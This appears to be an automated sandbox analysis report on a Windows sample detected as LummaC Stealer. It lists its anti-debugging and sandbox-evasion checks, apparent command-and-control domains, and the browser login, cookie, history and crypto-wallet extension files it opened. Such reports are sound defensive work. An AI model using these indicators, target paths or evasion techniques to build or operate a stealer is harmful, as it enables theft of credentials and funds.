Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: file.exe, 00000000.00000002.1681686094.00000000056AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\j
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1385581848.00000000056F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1677236558.0000000000320000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1683042982.000000000609A000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.1677147842.0000000000141000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: file.exe, 00000000.00000002.1677147842.0000000000141000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe, 00000000.00000002.1677147842.0000000000141000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: peepburry828.sbs
Source: file.exe, 00000000.00000002.1677147842.0000000000141000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: p10tgrace.sbs
Source: file.exe, 00000000.00000002.1677147842.0000000000141000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, 00000000.00000002.1683042982.000000000609A000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: file.exe, file.exe, 00000000.00000002.1677236558.0000000000320000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: (Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.1464183566.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1463990292.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1678088995.0000000000EE1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 7476, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1361660637.0000000000F62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ta%\\Electrum\\wallets",
Source: file.exe, 00000000.00000003.1361660637.0000000000F62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000003.1361660637.0000000000F62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.jsone
Source: file.exe, 00000000.00000003.1361660637.0000000000F62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Exodus\\exodus.wallet"E
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.1361660637.0000000000F62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: a%\\Ethereum","m":["keysI
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
